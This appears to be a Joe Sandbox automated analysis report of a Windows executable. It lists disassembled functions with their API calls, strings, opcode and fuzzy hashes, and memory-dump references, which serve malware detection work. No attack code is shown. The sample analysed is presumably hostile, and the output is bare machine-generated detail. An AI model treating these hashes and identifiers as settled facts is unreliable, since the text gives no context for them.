Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: y*W$y*W
API String ID: 459529453-646716612
Opcode ID: e24457af6c18d728667c142609a6e82b66c7b701e46aaf1a0bd07a7ece7196c2
Instruction ID: f1535d6160134075fa2ba08d671aacfb5bb9cacc527bebe0708b267757c0c097
Opcode Fuzzy Hash: e24457af6c18d728667c142609a6e82b66c7b701e46aaf1a0bd07a7ece7196c2
Instruction Fuzzy Hash: 5641AE71A042159FDB21CF94D844BAABFB8FB40724F14856DE805AB392DB72EE45CBC1

Function 0049E20C Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 0049E279
GetStdHandle.KERNEL32(000000F4,00BDD8C4,00000000,?,00000000,?), ref: 0049E34F
WriteFile.KERNEL32(00000000), ref: 0049E356

Strings

..., xrefs: 0049E2CB
Microsoft Visual C++ Runtime Library, xrefs: 0049E325
<program name unknown>, xrefs: 0049E289
Runtime Error!Program: , xrefs: 0049E2DF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 83713a0cc169cc16e0c6190175494371acaa9101bb71c1d058deb0b6f1524f0e
Instruction ID: 5cd9854aa25c55c8c144b1b692ffa9154bb89b5eb58e242fb0b6b5ef18d0fe81
Opcode Fuzzy Hash: 83713a0cc169cc16e0c6190175494371acaa9101bb71c1d058deb0b6f1524f0e
Instruction Fuzzy Hash: 6B312932A002086FDF20D7A1CD45FAB7BACEB52304F5404BBF544D7150EB78EA448B69

Function 0049DC45 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00498EEB), ref: 0049DC60
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00498EEB), ref: 0049DC74
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00498EEB), ref: 0049DCA0
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00498EEB), ref: 0049DCD8
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00498EEB), ref: 0049DCFA
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00498EEB), ref: 0049DD13
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00498EEB), ref: 0049DD26
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0049DD64

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 58f49447c53635ac653b0b465b7bf2307071668bff9604c1500a73794d625bd1
Instruction ID: c3cf6524c535e3a613998e9b33a05b0a352699d4bf7e6e1ffb71f944dcc72848
Opcode Fuzzy Hash: 58f49447c53635ac653b0b465b7bf2307071668bff9604c1500a73794d625bd1
Instruction Fuzzy Hash: 3B31E3B2D082656FDF307FB95C8493FBEDCEA493587150A3BF541C3240E6698C41C6AA

Function 004513D0 Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 004514A1

Part of subcall function 004AE37A: IsWindowEnabled.USER32(?), ref: 004AE384

GetClientRect.USER32(?,?), ref: 004513F7
PtInRect.USER32(?,?,?), ref: 0045140C
ClientToScreen.USER32(?,?), ref: 0045141D
WindowFromPoint.USER32(?,?), ref: 0045142D
ReleaseCapture.USER32 ref: 00451447
GetCapture.USER32 ref: 00451461
SetCapture.USER32(?), ref: 0045146C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Capture$ClientRectReleaseWindow$EnabledFromPointScreen
String ID:
API String ID: 3076215760-0
Opcode ID: c0aa65e9a30f26e752f8b134dbdd1a9a8ae16ef84229ca8c71d15a9b2ce72a1d
Instruction ID: 49b9a650115e28f7e48ee047c067e372c03ee4a2636f77a17f0d3bf5016f7be1
Opcode Fuzzy Hash: c0aa65e9a30f26e752f8b134dbdd1a9a8ae16ef84229ca8c71d15a9b2ce72a1d
Instruction Fuzzy Hash: 5E21D6362042009BC310EB28D845BBF73A9BFD5719F044A1EFD8182262E779DC0ACB69

Function 004220A0 Relevance: 10.8, APIs: 7, Instructions: 319COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004220FA
VariantCopyInd.OLEAUT32(?,?), ref: 0042210B
VariantClear.OLEAUT32(?), ref: 004224AB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopyInit
String ID:
API String ID: 1785138364-0
Opcode ID: 2011330d6aa8d5e630dd99fc0a01863bcedfdd3e9bb8d159060af20463f5192c
Instruction ID: 6592fcc205c3574c49a1f3bdf4f2babb005b52ddbfb3560008b0b816550534c5
Opcode Fuzzy Hash: 2011330d6aa8d5e630dd99fc0a01863bcedfdd3e9bb8d159060af20463f5192c
Instruction Fuzzy Hash: 26C1AC35708222EFD710DF18E690A6BB7E4BB89710F54446EE98197350D2BADC42CB6B

Function 0043D1F0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0043D22D
MulDiv.KERNEL32(?,?,00000064), ref: 0043D262
MulDiv.KERNEL32(?,?,00000064), ref: 0043D28D
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,ETERMINATOR), ref: 0043D43B
GlobalFree.KERNEL32(00000000), ref: 0043D503

Strings

ETERMINATOR, xrefs: 0043D41A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: FreeGlobalObjectStretch
String ID: ETERMINATOR
API String ID: 3670910119-2947605395
Opcode ID: 8155cf188d3942d5feb1c123a8a8684a9b7b4205d88a7db448ac9f1bd5ddd63d
Instruction ID: 796d2714d263c9d87cdf288a29211916df55db28818427b049d9584cecbedd7f
Opcode Fuzzy Hash: 8155cf188d3942d5feb1c123a8a8684a9b7b4205d88a7db448ac9f1bd5ddd63d
Instruction Fuzzy Hash: 7591D171508344AFC710EF69D886B6FB7E8BB99704F104A1EF69583281DB78ED04CB66

Function 004A6C2B Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 241fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000001,80000000,?,0000000C,00000001,00000080,00000000,?,?,00000000), ref: 004A6DDE
GetLastError.KERNEL32 ref: 004A6DEA
GetFileType.KERNEL32(00000000), ref: 004A6DFF
CloseHandle.KERNEL32(00000000), ref: 004A6E0A

Strings

H, xrefs: 004A6E51
@, xrefs: 004A6E17

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID: @$H
API String ID: 1809617866-104103126
Opcode ID: 61821e1805825fe20f229e988f78bb0725195901810b79f2bc62b7f1ce49b523
Instruction ID: 16795d83200fff18295769221b5c42562b4ba08e3a7c7c462f4a04b1cbe56162
Opcode Fuzzy Hash: 61821e1805825fe20f229e988f78bb0725195901810b79f2bc62b7f1ce49b523
Instruction Fuzzy Hash: 50811871A0424896EF208F68C8447AF7B60DF33364F2E426FE9616A2D1C77D8D45C75A

Function 0043E640 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

SetRect.USER32(?,00000000,00000032,00000032,?), ref: 0043E729
OffsetRect.USER32(?,?,?), ref: 0043E736
IntersectRect.USER32(?,?,?), ref: 0043E752
IsRectEmpty.USER32(?), ref: 0043E75D
OffsetRect.USER32(?,?,?), ref: 0043E79A

Strings

2, xrefs: 0043E6E6

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Offset$EmptyIntersect
String ID: 2
API String ID: 765610062-450215437
Opcode ID: 43c1ea09f91e16428a032b1d0f4fe760963b811e21485aa3931f67b7829ec957
Instruction ID: c2339a46bda93cbd0667ea07a9bb252aa1a503e355aa9e2bd6ac434b2af05f08
Opcode Fuzzy Hash: 43c1ea09f91e16428a032b1d0f4fe760963b811e21485aa3931f67b7829ec957
Instruction Fuzzy Hash: 7F6113756093419FD318DF2AC88496BBBE9BBC8304F148A2EF68987360D734E905CF56

Function 004B2695 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000019F,00000000,00000000), ref: 004B26B9
GetParent.USER32(?), ref: 004B26C0

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

SendMessageA.USER32(?,00000187,00000000,00000000), ref: 004B2713
SendMessageA.USER32(0000AC84,00000111,?,?), ref: 004B2764
SendMessageA.USER32(?,00000185,00000000,00000000), ref: 004B27EF

Strings

, xrefs: 004B2696

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$LongParentWindow
String ID:
API String ID: 779260966-3916222277
Opcode ID: cada768462036061ba7f177f226b843ad34cfa2a19b47395e6f04b3f75215896
Instruction ID: 675f85b202211ec91cafa528774a229d06fc1974007060fc69bec19841e25fc0
Opcode Fuzzy Hash: cada768462036061ba7f177f226b843ad34cfa2a19b47395e6f04b3f75215896
Instruction Fuzzy Hash: 323105702043547FCA297A768D80DBFB69CEF86788B10092EF542C2281DEADDC02967D

Function 00561060 Relevance: 10.6, APIs: 7, Instructions: 130COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005610A3
std::_Lockit::_Lockit.LIBCPMT ref: 005610C5
std::_Lockit::~_Lockit.LIBCPMT ref: 005610E5
__Getctype.LIBCPMT ref: 00561184
__Getcvt.LIBCPMT ref: 00561197
std::_Facet_Register.LIBCPMT ref: 005611D1
std::_Lockit::~_Lockit.LIBCPMT ref: 005611E9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeGetcvtRegister
String ID:
API String ID: 2755674607-0
Opcode ID: 1a413a6691ef6ed90dd7d8f100032cb077522fd25d995a66ac889447e469fbf4
Instruction ID: 1e461e2fe2cc4dafff0aede98312bc20835d700a6861e4dd19675c91e7ddb5d7
Opcode Fuzzy Hash: 1a413a6691ef6ed90dd7d8f100032cb077522fd25d995a66ac889447e469fbf4
Instruction Fuzzy Hash: C951F571D04B458FCB20DF64C981AAABBB4FF55310F14826DE945AB252EB30FE84CB85

Function 004ADB90 Relevance: 10.6, APIs: 7, Instructions: 122windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 004ADBC4
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004ADBED
UpdateWindow.USER32(?), ref: 004ADC09
SendMessageA.USER32(?,00000121,00000000,?), ref: 004ADC2F
SendMessageA.USER32(?,0000036A,00000000,00000001), ref: 004ADC4E
UpdateWindow.USER32(?), ref: 004ADC91
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004ADCC4

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: a08728920a09003e9701f70ed11eee258adcead74504131693efce884576d3ad
Instruction ID: eadb60813de1ec1da0e4e1c2b0f9fcc3d2395da88e9699cd2dfd0f2c9315ccec
Opcode Fuzzy Hash: a08728920a09003e9701f70ed11eee258adcead74504131693efce884576d3ad
Instruction Fuzzy Hash: 4F41F6309043419BD7309F26C848E1BBBF4FFE6B24F500A1EF49286651C7B9D945CB6A

Function 0041EFD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97processsynchronizationCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0041F087
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041F09F
WaitForInputIdle.USER32(?,000003E8), ref: 0041F0B1
CloseHandle.KERNEL32(?), ref: 0041F0C2
CloseHandle.KERNEL32(?), ref: 0041F0C9

Strings

D, xrefs: 0041EFE9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CloseHandleWait$CreateIdleInputObjectProcessSingle
String ID: D
API String ID: 2811420030-2746444292
Opcode ID: 22656cfb666f716998c8c37520cdb7ba17aa5ea20616515b279b56f8ecb55174
Instruction ID: b8bbcc5b3f08ae0ce640ce8ccb61af8a0ec16eda2c7f813fcc8c95016ca9acee
Opcode Fuzzy Hash: 22656cfb666f716998c8c37520cdb7ba17aa5ea20616515b279b56f8ecb55174
Instruction Fuzzy Hash: D23171756087009BD720CF18C880AABBBE5EF99354F24492BE641C73A1D779D8CB874B

Function 004B23E6 Relevance: 10.6, APIs: 7, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B3B14: __EH_prolog.LIBCMT ref: 004B3B19

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

SendMessageA.USER32(?,000001A1,00000000,00000000), ref: 004B242F
SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 004B243E
SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 004B2457
SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 004B247F
SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 004B248E
SendMessageA.USER32(?,00000198,?,?), ref: 004B24A4
PtInRect.USER32(?,000000FF,?), ref: 004B24B0

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
